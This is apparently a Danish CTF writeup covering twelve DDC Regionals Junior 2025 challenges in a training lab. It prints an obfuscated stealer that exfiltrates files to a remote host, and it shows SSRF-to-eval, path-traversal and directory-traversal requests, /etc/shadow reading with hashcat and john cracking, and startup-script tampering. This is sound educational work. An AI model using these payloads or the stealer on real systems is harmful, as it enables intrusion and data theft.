DDC - Regionals Junior 2025 : Writeups
Tusind tak til DDC for at lave denne fantastiske CTF, og til alle de andre deltagere for at gøre det sjovt! Jeg havde en fantastisk tid og lærte meget. Jeg glæder mig til at se jer til nationals!
Syddanmark Scoreboard:
Global Scoreboard (top 10):
Opgaver løst
Challenge | Category |
---|---|
Exponential Caesar | Crypto |
NitroGenerator | Forensics |
WizardTrial | Reverse Engineering |
Baby session forger | Misc |
KatChat | Beginner |
Gateway | Web exploitation |
sysmon-spectacle | Forensics |
Third time is the charm | Boot2Root |
Find my files | Boot2Root |
StuckAt99 | Binary |
SystemReaper | Forensics |
Hidden in Plain Sight | Misc |
Disse opgaver gav mig 2636 points og en 3 plads i Syddanmark, og 4 plads på hele Junior platformen.
Exponential Caesar
Jeg har forsøgt at gøre Cæsar-chifferet sikkert med ideer fra gruppeteori.
Nu udføres kryptering ved eksponentiering, som skal være meget mere sikker end simpel addition eller multiplikation.
Kan du dekryptere flaget?
Husk at lægge resultatet ind i flagformatet. (ddc eksempel flag -> DDC{eksempel_flag})
Handout (crypto-expcaesar.zip)
Løsning:
import string
alphabet = 'abcdefghijklmnopqrstuvwxyzæøå'
def inverse_mult(c, b):
if c in string.whitespace:
return c
for a in alphabet:
if pow(alphabet.index(a), alphabet.index(b), len(alphabet)) == alphabet.index(c):
return a
return '?'
def caesar_decrypt(key, text):
plaintext = ""
for c in text:
plaintext += inverse_mult(c, key)
return plaintext
ciphertext = "pps øxf vigfm in saftam dt eiø fuviefeødak"
for key in alphabet:
decrypted = caesar_decrypt(key, ciphertext)
if "ddc" in decrypted:
print(decrypted)
break
Dette giver et output på: ddc the power of caesar is not exponential
-> DDC{the_power_of_caesar_is_not_exponential}
Flag: DDC{the_power_of_caesar_is_not_exponential}
NitroGenerator
I downloaded a downloaded a script that was supposed to give me free Discord Nitro codes. But when I ran it, it suddenly disappeared. I suspect it was malicious. Can you help me find out what it did?
Løsning: Fra capture.pcapng
kan vi sorte på http
og se at der er en GET
request til /nitro-generator.py
, denne python fil kan vi exportere via File -> Export Objects -> HTTP og så vælge nitro-generator.py
.
import time, sys, base64, threading;threading.Thread(target=lambda x: exec(base64.b64decode("aW1wb3J0IG9zCgpkZWYgc3RlYWwocGF0aCk6CiBpbXBvcnQgc29ja2V0CiBkZWYgeG9yKGRhdGEsIGtleSk6CiAgcmV0dXJuIGJ5dGVzKFthIF4gYiBmb3IgYSwgYiBpbiB6aXAoZGF0YSwga2V5ICogKGxlbihkYXRhKSAvLyBsZW4oa2V5KSArIDEpKV0pCiB3aXRoIG9wZW4ocGF0aCwgInJiIikgYXMgZjoKICBjb250ZW50ID0gZi5yZWFkKCkKIGVuY3J5cHRlZCA9IHhvcihjb250ZW50LCBiIjZhNTI2NWUyNjBmN2JlZDUwMDY5M2IwZDIxYTA1Y2QyIikKIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiBzLmNvbm5lY3QoKCJuaXRyby1nZW5lcmF0b3IuaGtuIiwgNTkwMDApKQogcy5zZW5kYWxsKGVuY3J5cHRlZCkKIHMuY2xvc2UoKQogb3MucmVtb3ZlKHBhdGgpCgpmb3Igcm9vdCwgZGlycywgZmlsZXMgaW4gb3Mud2FsaygiLyIpOgogZm9yIGZpbGUgaW4gZmlsZXM6CiAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmaWxlKQogIGlmIG9zLnBhdGguaXNmaWxlKHBhdGgpIGFuZCBmaWxlID09ICJmbGFnLnR4dCI6CiAgIHRyeTpzdGVhbChwYXRoKQogICBleGNlcHQ6cGFzcwoKcHJpbnQoIlxuRmFpbGVkIHRvIGdlbmVyYXRlIG5pdHJvIGNvZGVzLiIpCm9zLnJlbW92ZShfX2ZpbGVfXykKb3MuX2V4aXQoKSBpZiBvcy5uYW1lID09ICJudCIgZWxzZSBvcy5raWxsKG9zLmdldHBpZCgpLCA5KQ==")), args=(0,)).start()
chars = "\\|/-"
while True:
for char in chars:
sys.stdout.write('\r' + "Generating Nitro Codes... " + char)
sys.stdout.flush()
time.sleep(0.2)
Her kan vi se at der er en exec
som dekoder en base64 string og kører den. Hvis vi ændrer exec
til print
og kører scriptet, får vi følgende output:
b'import os\n\ndef steal(path):\n import socket\n def xor(data, key):\n return bytes([a ^ b for a, b in zip(data, key * (len(data) // len(key) + 1))])\n with open(path, "rb") as f:\n content = f.read()\n encrypted = xor(content, b"6a5265e260f7bed500693b0d21a05cd2")\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect(("nitro-generator.hkn", 59000))\n s.sendall(encrypted)\n s.close()\n os.remove(path)\n\nfor root, dirs, files in os.walk("/"):\n for file in files:\n path = os.path.join(root, file)\n if os.path.isfile(path) and file == "flag.txt":\n try:steal(path)\n except:pass\n\nprint("\\nFailed to generate nitro codes.")\nos.remove(__file__)\nos._exit() if os.name == "nt" else os.kill(os.getpid(), 9)'
Her kan vi se at der er en xor
funktion som krypterer filen flag.txt
med en key og sender den til nitro-generator.hkn
på port 59000
.
Ved at sorte på tcp.port == 59000
i wireshark, kan vi se at der er en POST
request til /flag.txt
, som indeholder en xor
krypteret fil. Her finder vi 1 frame som indeholder flag.txt
filen (frame.number == 1753
). Follow TCP stream og vælg Show data as: Raw, her får vi 722576497343565c69730a0456173b560054056650565e3b50023e7d010f5551075140074b
.
data = bytes.fromhex("722576497343565c69730a0456173b560054056650565e3b50023e7d010f5551075140074b")
key = "6a5265e260f7bed500693b0d21a05cd2".encode('utf-8')
print(bytes([data[i] ^ key[i % len(key)] for i in range(len(data))]).decode('utf-8', errors='ignore'))
Flag: DDC{Ev3n_Cl34r_c0d3_c4n_b3_M4l1c10u5}
WizardTrial
Velkommen lærling til hackingverdenen. Din første opgave er at lære den oplåsende charme. Du har fået en liste over mulige adgangskoder, men den store troldmand har beskyttet flaget med en mystisk hash 🔒. Held og lykke, unge troldmand!
✨🔮 nc wizard-trial.hkn 1337
Handout (reveng_wizardtraining.zip)
Løsning:
import hashlib
# Magic funktion oversat fra Java til Python (10/10 clutch fra Deepseek)
def magic(input_str):
j = 1337
k = 57 - 30 + 3 + 1
l = 222 // 6
for char in input_str:
j *= (ord(char) + k) * l
j %= 1_000_000_007
j = ((j << 16) | (j >> 48)) & 0xFFFFFFFFFFFF
return hex(j)[2:]
with open("wordlist.txt", "r") as file:
wordlist = file.readlines()
wordlist = [word.strip() for word in wordlist]
stored_hash = "336db7f20000"
for password in wordlist:
if magic(password) == stored_hash:
print(password)
break
else:
print("nop")
Her får vi sh4d0w
, som vi kan sende til serveren:
***ID
**336db7f20000
***ENTER PASSWORD:
sh4d0w
***CRACKED: DDC{w1zardM4st3r_brut3_f0rc3_ch4rm}
Flag: DDC{w1zardM4st3r_brut3_f0rc3_ch4rm}
Baby session forger
I forgot to make it so I could auth myself. And now I’m locked out, please help me recover my flag :/
Handout (baby_session_forger.tar)
Løsning:
curl -X POST http://10.42.13.134/fileread \
-d "filename=/proc/self/cwd/flag.txt" \
-d "offset=0" \
-d "amount=100"
Her kan vi bruge /proc/self/cwd/flag.txt til at læse flaget fra current working directory, da den ikke er blacklisted.
Flag: DDC{P4th_s4n1t1z4t10n_d0n3_wr0ng}
KatChat
KatChat er den bedste anonyme kattevideo delings tjeneste i hele kattedømmet. Hunde som dig er ikke tilladt!
Løsning: Under release info kan vi se at der er 2 mapper, upload
og banned
. Vi kan bruge admin:admin
til at logge ind på dashboardet. Her kan vi se en network request til http://10.42.13.133/api/videos?dir=upload
hvis vi skifter dir=upload
til dir=banned
kan vi se de bannede videoer. {"files":["Kat123.mp4","Kat18888.mp4","Kat21818.mp4","Kat99.mp4"]}
De normale videoer bliver hentet via: http://10.42.13.133/api/videos?file=Katxx.mp4
, hvis vi laver directory traversal kan vi få fat i de bannede videoer: http://10.42.13.133/api/videos?file=../banned/Kat21818.mp4
Flag: DDC{KATTE_3R_GRIMM3}
Gateway
Jeg synes du skal (eval)uere min nye super krypterede proxy: http://gateway.hkn
Løsning: Ved at kigge i source på hjemmesiden kan vi se at der findes en /admin
endpoint, som vi kan tilgå. Her kan vi se at der er en command
parameter, som vi kan bruge til at køre kommandoer, men det kræver at vores requests kommer fra localhost.
POST /fetch HTTP/1.1
Host: 10.42.13.194
Content-Length: 98
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://10.42.13.194
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.42.13.194/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
site=http%3A%2F%2F0.0.0.0%2Fadmin%3Fcommand%3Drequire("fs").readFileSync("./flag.txt", "utf8")
Giver:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 24
ETag: W/"18-lXX7rq5mZ8QeLakml0/rs+P4t20"
Date: Sat, 05 Apr 2025 10:45:32 GMT
Connection: keep-alive
Keep-Alive: timeout=5
DDC{wh1tel1sts_ar3_c00l}
Flag: DDC{wh1tel1sts_ar3_c00l}
sysmon-spectacle
Der er opstået en sikkerhedshændelse på en af SagaLabs' arbejdsstationer. En af administratorerne blev overrasket over at finde en mærkelig eksekverbar fil på serveren, og værten genererede usædvanlig trafik til en fremmed IP-adresse. SagaLabs' sikkerhedsteam har formået at indsamle nogle Sysmon-logs, som er blevet genereret på maskinen, men de skal bruge din hjælp til at fortolke dem og afdække detaljerne omkring hændelsen.
Note: Flaget kan findes lokalt fra det log man får udleveret. Man behover ikke tilgå eller interagere med ip’erne for at løse opgaven
Handout (sysmon-spectacle.zip)
Løsning: Jeg søgte lidt rundt i de forskellige logs efter powershell
, indtil jeg fandt en powershell
kommando som så interessant ud:
The request is not supported
"
Information 28/09/2024 10.56.31 Microsoft-Windows-Sysmon 1 (1) "The description for Event ID 1 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.
If the event originated on another computer, the display information had to be saved with the event.
The following information was included with the event:
technique_id=T1059.003,technique_name=Windows Command Shell
2024-09-28 08:56:31.877
EV_RenderedValue_2,00
8540
C:\Windows\System32\cmd.exe
10.0.19041.4355 (WinBuild.160101.0800)
Windows Command Processor
Microsoft® Windows® Operating System
Microsoft Corporation
Cmd.Exe
cmd.exe /c ""powershell -Command Invoke-WebRequest -Uri http://74.248.114.242/RERDezVZNU0wTjE1NFczNTBNM1dVSFV9""
C:\Users\sagalabs\Music\
DESKTOP-GCVE394\sagalabs
EV_RenderedValue_13,00
2197472
1
Medium
SHA1=DF79C86FDD11B9CCB89148458E509F879C72566C,MD5=2B40C98ED0F7A1D3B091A3E8353132DC,SHA256=BADF4752413CB0CBDC03FB95820CA167F0CDC63B597CCDB5EF43111180E088B0,IMPHASH=272245E2988E1E430500B852C4FB5E18
EV_RenderedValue_18,00
3740
C:\Windows\System32\cmd.exe
""C:\Windows\system32\cmd.exe""
DESKTOP-GCVE394\sagalabs
Her finder vi: http://74.248.114.242/RERDezVZNU0wTjE1NFczNTBNM1dVSFV9
, ved at decode RERDezVZNU0wTjE1NFczNTBNM1dVSFV9
fra base64 får vi DDC{5Y5M0N154W350M3WUHU}
.
Flag: DDC{5Y5M0N154W350M3WUHU}
Third time is the charm
👉 http://abc.hkn 👈
Løsning: Ved at køre en nmap scan på serveren kan vi se at der er en ftp server kørende på port 21. Her kan vi logge ind med admin:admin
og downloade backup.zip
. Desværre er zip filen password protected, så vi skal bruge fcrackzip
til at cracke passwordet.
halfdan@desktop:~$ fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backup.zip
found file 'backup/passwd.txt', (size cp/uc 531/ 1442, flags 9, chk a8e2)
found file 'backup/shadow.txt', (size cp/uc 472/ 1092, flags 9, chk a8e2)
PASSWORD FOUND!!!!: pw == whatever
Nu kan vi unzip filen med whatever
som password. Her finder vi 2 filer, passwd.txt
og shadow.txt
.
alice❌1000:1000::/home/alice:/bin/bash
bob❌1001:1001::/home/bob:/bin/bash
charlie❌1002:1002::/home/charlie:/bin/bash
alice:$6$nvdZht1mZP6aHymh$Y8Vmz7LAhMmmiO6/69O0eItiIwWUNW7WJOQcfMGB1OW/UyeBX7nEHKBWXOXQ9Hy504AYa3QGr4XdjKy2wjUt21:20108:0:99999:7:::
bob:$6$ox2vedwh0BH3VPaN$c/nt7wKN2yJfQ8NeeJtX4sC.ZbEJDFwbMLeNF0z8MQDDCMVPHwIuER6YyXWjGuId.WTINLvLbnBi/.SlS9AdN0:20108:0:99999:7:::
charlie:$6$iGjyt/KLehKBoCeA$MA9h2Dhj8C9uKCqJxmOxbfsHSPwaRh8r0EJrxHR3jGfnqvBfp55KP6TM/lmiSXVCIXGIYUSNDOZvbBsfU7BM0/:20108:0:99999:7:::
Her kan vi bruge john
til at cracke passwordene:
john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt
Intented solution
Fra john får vi:
alice:123456789:20108:0:99999:7:::
bob:123456789:20108:0:99999:7:::
charlie:123456789:20108:0:99999:7:::
3 password hashes cracked, 0 left
på 3 forsøg kan vi ssh ind som charlie og cat flag.txt: DDC{u0rcMP54d-pc3jNX-WUW}
Unintented solution
Af en eller anden grund ville min john ikke cracke passwordet til charlie, så jeg endte med at logge ind som bob og ændre i /entrypoint.sh
så den kopirede flag.txt til /home/bob/flag.txt
.
#!/usr/bin/env bash
service ssh start
cat /home/charlie/flag.txt > /home/bob/flag.txt
chmod 777 /home/bob/flag.txt
python3 ftp.py
Så på campfiresecurity stop og start challengen, så kunne jeg cat flag.txt som bob.
cat /home/bob/flag.txt
DDC{u0rcMP54d-pc3jNX-WUW}
Flag: DDC{u0rcMP54d-pc3jNX-WUW}
Find my files
Fin har lige opdaget hvordan hjemmesider virker, man giver bare en fil til dem som gerne vil se den. Han sagde at han havde lavet en hjemmeside hvor du kan se alfabetet, men noget siger mig at den kan give flere filer end det er intentionen. Han har dog valgt at skrive den i c, hvilket kan skal have stor ros for. Han kører også ssh for at kunne tjekke om folk har fundet filen.
Løsning: Ved at gå til http://alfabet.hkn/etc/shadow får vi udleveret filen /etc/shadow
. Her finder vi password hash af root brugeren, som vi kan cracke med hashcat
:
echo '$6$yVfBpLZpinJp40Y8$2PZ5Gkn6bjqWfQpypoE3Yf/pnf/ukgMPS7GtGdrqya3JcP/qsonqROS4if77u9.FoK0Y62ppdwBdnry4WtAO60' > hash
hashcat -m 1800 hash /usr/share/wordlists/rockyou.txt
Her får vi root:123456789
, som vi kan bruge til at ssh ind på serveren. Her kan vi finde flaget i ./app/du_finder_flaget_her
.
root@2c73939fe39e:/# cat ./app/du_finder_flaget_her
DDC{nu_fandt_du_min_fil}
Flag: DDC{nu_fandt_du_min_fil}
StuckAt99
Alle disse $💢%💀@! opdateringer bliver ved med at sidde fast! Det er så irriterende!!! Hvis bare jeg selv kunne få fat i koden, så kunne jeg endelig få dette program til at køre.
Løsning: Ved at bruge Detect It Easy (DiE) kan vi se at programmet er skrevet i C#
. Dette kan vi let dekompilere med CodemerxDecompile
.
I koden finder vi en GenerateFlag funktion:
private string GenerateFlag()
{
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append(this.GetCharacter(0));
stringBuilder.Append(this.GetCharacter(0));
stringBuilder.Append(this.GetCharacter(1));
stringBuilder.Append(this.GetCharacter(2));
stringBuilder.Append(this.GetCharacter(31));
stringBuilder.Append(this.GetCharacter(32));
stringBuilder.Append(this.GetCharacter(33));
stringBuilder.Append(this.GetCharacter(34));
stringBuilder.Append(this.GetCharacter(41));
stringBuilder.Append(this.GetCharacter(41));
stringBuilder.Append(this.GetCharacter(42));
stringBuilder.Append(this.GetCharacter(43));
stringBuilder.Append(this.GetCharacter(44));
stringBuilder.Append(this.GetCharacter(45));
stringBuilder.Append(this.GetCharacter(46));
stringBuilder.Append(this.GetCharacter(47));
stringBuilder.Append(this.GetCharacter(48));
stringBuilder.Append(this.GetCharacter(49));
stringBuilder.Append(this.GetCharacter(3));
return stringBuilder.ToString();
}
private char GetCharacter(int index)
{
char chr = (new char[] { 'D', 'C', '{', '}', 'Y', 'b', '9', '\u005F', 'H', 'j', 'X', '4', 'L', 'f', '2', 'u', 'V', 'z', 's', 'M', 'K', 'D', 'P', 't', 'n', 'F', '1', '0', 'r', 'a', 'z', 'f', '1', 'n', 'e', 'l', 'H', 'A', 'S', 'i', 't', '\u005F', 'm', '4', 'n', 'u', 'a', 'l', 'l', 'y', 'G', 'o', 'd', 'b', 'l', 'e', 'C', '6', 'p', 'Y', 'd', 'I', 'w', 'q', 'b', 'M', 'n', 'J', '3', 'z', 'X', 's', 'F', 'r', 't', 'C', 'g', 'Q', '1', 'L', '8', 'N', 'e', '\u005F', 'u', 'T', 's', '0', 'y', 'k', 'f', 'P', 'h', 'V', 'c', 'W', 'j', '2', 'l', 'B', '7', 'r', 'O', 'X', 'e', '9', 'S', 'a', 'M', 'T', 'n', '!' })[index];
return chr;
}
Her kan vi se at flaget bliver genereret ved at kalde GetCharacter
funktionen med forskellige index. Hvis vi kigger på GetCharacter
funktionen kan vi se at den returnere et char fra en array, som indeholder flaget.
Vi kan nemt lave en python script til at generere flaget:
def generate_flag():
chars = ['D', 'C', '{', '}', 'Y', 'b', '9', '_', 'H', 'j', 'X', '4', 'L', 'f', '2', 'u', 'V', 'z', 's', 'M', 'K', 'D', 'P', 't', 'n', 'F', '1', '0', 'r', 'a', 'z', 'f', '1', 'n', 'e', 'l', 'H', 'A', 'S', 'i', 't', '_', 'm', '4', 'n', 'u', 'a', 'l', 'l', 'y', 'G', 'o', 'd', 'b', 'l', 'e', 'C', '6', 'p', 'Y', 'd', 'I', 'w', 'q', 'b', 'M', 'n', 'J', '3', 'z', 'X', 's', 'F', 'r', 't', 'C', 'g', 'Q', '1', 'L', '8', 'N', 'e', '_', 'u', 'T', 's', '0', 'y', 'k', 'f', 'P', 'h', 'V', 'c', 'W', 'j', '2', 'l', 'B', '7', 'r', 'O', 'X', 'e', '9', 'S', 'a', 'M', 'T', 'n', '!']
return ''.join(chars[i] for i in [0, 0, 1, 2, 31, 32, 33, 34, 41, 41, 42, 43, 44, 45, 46, 47, 48, 49, 3])
print(generate_flag())
Flag: DDC{f1ne__m4nually}
SystemReaper
Look at this tool! You can hack everything with it! What? You think it’s actually a malware? No! Impossible! If you don’t believe me, check its source code and compile it yourself!
Løsning: Vi finder gradle-wrapper.jar
i SystemReaper/gradle/wrapper
denne fil kan vi dekompilere med https://www.decompiler.com. Her finder vi en Hook.java
fil under fr/crazycat256/systemreaper/backdoor/Hook.java
, som indeholder en iAmNotHere
og xor
funktion:
private static void iAmNotHere(String arg) {
if (arg.equals("flag")) {
byte[] b = new byte[]{63, 7, 15, 58, 17, 96, 0, 45, 117, 63, 118, 57, 37, 32, 30, 52, 116, 60, 39, 19, 3, 55, 102, 25, 23, 112, 19, 54, 33, 103, 47, 62, 114, 63, 112, 34};
System.out.println(xor(new String(b), "{CLASS_NAME_PLACEHOLDER}"));
System.exit(0);
}
}
private static String xor(String s, String key) {
StringBuilder sb = new StringBuilder();
for(int i = 0; i < s.length(); ++i) {
sb.append((char)(s.charAt(i) ^ key.charAt(i % key.length())));
}
return sb.toString();
}
Vi kan se at iAmNotHere
funktionen kører xor
funktionen med en key og en string, som indeholder flaget.
Vi kan lave en python script til at dekryptere flaget:
b = [63, 7, 15, 58, 17, 96, 0, 45, 117, 63, 118, 57, 37, 32, 30, 52, 116, 60, 39, 19, 3, 55, 102, 25, 23, 112, 19, 54, 33, 103, 47, 62, 114, 63, 112, 34]
key = "{CLASS_NAME_PLACEHOLDER}"
decrypted = ''.join(chr(c ^ ord(key[i % len(key)])) for i, c in enumerate(b))
print(decrypted)
Flag: DDC{B3_c4r3ful_w1th_Gr4dl3_wr4pp3r5}
Hidden in Plain Sight
Leder du efter et 🏴? Du har lige læst forbi et 😁
Handout (HiddenInPlainSight.zip)
Løsning: Fra starten havde jeg en ide om at der måtte være noget unicode på spil, ved at indsætte strengen i en python shell kan vi se at der er en masse unicode tegn i strengen.
halfdan@desktop:~$ python3
Python 3.10.12 (main, Feb 4 2025, 14:57:36) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 'Leder du efter et 🏴? Du har lige læst forbi et 😁'
'Leder du efter et 🏴\u200d? \U000e0044\U000e0044\U000e0043\U000e007b\U000e0055\U000e004e\U000e0031\U000e0043\U000e0030\U000e0044\U000e0045\U000e002d\U000e0031\U000e0053\U000e002d\U000e0034\U000e002d\U000e0032\U000e0054\U000e0052\U000e0034\U000e004e\U000e0047\U000e0045\U000e002d\U000e004c\U000e0034\U000e004e\U000e0044\U000e007d Du har lige læst forbi et 😁'
>>>
Her kan vi se at der er en masse unicode tegn i strengen, hvis vi fjerner “\U000e00” fra alle unicode tegnene får vi:
44 44 43 7b 55 4e 31 43 30 44 45 2d 31 53 2d 34 2d 32 54 52 34 4e 47 45 2d 4c 34 4e 44 7d
Dette ligner hex værdier, som vi kan konvertere til ascii:
print(bytes.fromhex("4444437b554e31433044452d31532d342d325452344e47452d4c344e447d").decode())
Flag: DDC{UN1C0DE-1S-4-2TR4NGE-L4ND}